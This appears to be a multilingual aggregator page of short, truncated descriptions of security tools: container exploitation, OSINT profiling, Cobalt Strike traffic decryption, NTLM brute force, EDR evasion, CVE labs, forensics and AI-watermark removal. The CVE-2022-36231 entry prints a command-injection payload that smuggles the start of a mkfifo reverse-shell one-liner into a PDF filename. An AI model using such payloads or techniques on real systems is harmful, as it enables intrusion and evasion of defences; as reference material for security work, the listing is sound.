botb

Break out the Box BOtB BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies. What does it do? BOtB is a CLI tool which allows you to: Exploit common container vulnerabilities Perform commo...

exif-gps-tracer

exif-gps-tracer Un script Python qui vous permet d'extraire les données de géolocalisation de vos fichiers image stockés dans un ensemble de données. Il produit également une sortie au format CSV et dans une carte Google Maps HTML. Prérequis Pour exécuter ce script correctement, 1 Vous devez...

packetStrider

Packet Strider v0.21 Résumé packetStrider pour SSH est un outil de forensic réseau qui vise à fournir des informations précieuses sur la nature du trafic SSH, éclairant les recoins du trafic réseau SSH où des pépites d’or d’informations reposaient auparavant dans l’obscurité. Le problème que pack...

user-scanner

User Scanner A powerful 2-in-1 OSINT suite engineered for deep Email and Username Intelligence. With 2720+ total scan vectors —including 210+ email-integrated sites and 2510+ username platforms —you can map digital footprints, analyze target behavior, uncover interests, full metadata of usernames...

pybeacon

PyBeacon PyBeacon is a collection of scripts for dealing with Cobalt Strike's encrypted traffic. It can encrypt/decrypt beacon metadata, as well as parse symmetric encrypted taskings Scripts included There is a small library which includes encryption/decoding methods, however some example scripts...

CVE-2024-1071-Docker

CVE-2024-1071 с Docker 🎯 Хотите попрактиковаться с новой CVE для WordPress? Следуйте инструкциям Сборка лаборатории 1. Установите Docker: https://docs.docker.com/get-docker/ 2. Клонируйте проект: git clone https://github.com/Trackflaw/CVE-2024-1071-Docker.git. 3. Перейдите в проект: cd...

Metadata-Attacker

Metadata-Attacker Avec cette petite suite d'outils de pentesting open source, vous pouvez créer un fichier image .jpg, audio .mp3 ou vidéo .mp4 contenant vos métadonnées personnalisées ou un ensemble de vecteurs de cross-site scripting pour tester tout service web contre d'éventuelles...

PowerMeta

PowerMeta PowerMeta recherche des fichiers accessibles publiquement hébergés sur divers sites web pour un domaine particulier en utilisant des recherches spécialement conçues sur Google et Bing. Il permet ensuite de télécharger ces fichiers depuis le domaine cible. Après avoir récupéré les...

SoIG

SoIG Инструмент OSINT для Instagram позволяет получить широкий спектр информации об аккаунте Instagram, которую обычно невозможно узнать, просто просматривая профиль. Начало работы Информация включает : profile : Имя пользователя, Имя профиля, URL, Подписчики, Подписки, Количество публикаций,...

CVE-2022-36231

CVE-2022-36231 Ruby gem pdfinfo /dev/null Как и в методе initialize, для переменной @pdfpath не выполняется проверка. Это позволяет нам использовать объединение команд с помощью ; для выполнения произвольной команды: info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/s...

ics-forensics-tools

ICSpector: Microsoft ICS Forensics Framework Microsoft ICS Forensics Tools framework is an open-source forensics framework that enables the analysis of Industrial PLC metadata and project files. The framework provides investigators with a convenient way to scan for PLCs and identify any suspiciou...

NTLMRecon

Aperçu NTLMRecon est une version en Golang de l'utilitaire NTLMRecon original écrit par Sachin Kamath AKA pwnfoo. NTLMRecon peut être utilisé pour effectuer du brute force contre un serveur web ciblé afin d'identifier les points d'accès applicatifs courants prenant en charge l'authentification...

frostbyte

FrostByte Prologue : Ces derniers jours, j'ai expérimenté la technique d'injection via le gestionnaire AppDomain et j'ai obtenu un certain succès lors de mes précédentes missions Red Team contre certains EDR. Bien que cette méthode soit très efficace pour un vecteur d'accès initial, j'ai voulu...

cloudquery

CloudOps, sans le chaos CloudQuery est un inventaire d'actifs cloud conçu pour les équipes de plateforme. Synchronisez les métadonnées de votre infrastructure cloud dans votre entrepôt de données, alimentant ainsi les analyses et l'automatisation. Unifiez les données et apportez du contexte entre...

tiktok-scraper

TikTok Scraper & Téléchargeur Récupérez et téléchargez des informations utiles depuis TikTok. Aucun identifiant ou mot de passe requis Ceci n'est pas un support d'API officiel, etc. C'est simplement un scraper qui utilise l'API Web de TikTok pour récupérer des médias et les méta-informations...

tiktok-scraper

TikTok Scraper & Downloader Scrape and download useful information from TikTok. No login or password are required This is not an official API support and etc. This is just a scraper that is using TikTok Web API to scrape media and related meta information. Content Features To Do Contribution...

guac

GUAC : Graphe pour la compréhension de la composition des artefacts Remarque : GUAC est en cours de développement actif – si vous souhaitez contribuer, veuillez consulter le guide du contributeur. GUAC est un projet en incubation de l'OpenSSF sous l'égide du Supply Chain Integrity WG. Graph for...

guac

GUAC: Graph for Understanding Artifact Composition Note: GUAC is under active development - if you are interested in contributing, please look at contributor guide. GUAC is an OpenSSF incubating project under the Supply Chain Integrity WG. Graph for Understanding Artifact Composition GUAC...

packj

Packj flags malicious/risky open-source packages Packj pronounced package is a tool to help to mitigate software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and...

remove-ai-watermarks

Удаление AI-водяных знаков Удаление меток происхождения ИИ с изображений и видео, созданных вами самостоятельно: известные видимые метки, такие как блеск-водяной знак Google Gemini и текстовые метки производителей; невидимые пиксельные водяные знаки через прямое локальное нарушение формата или...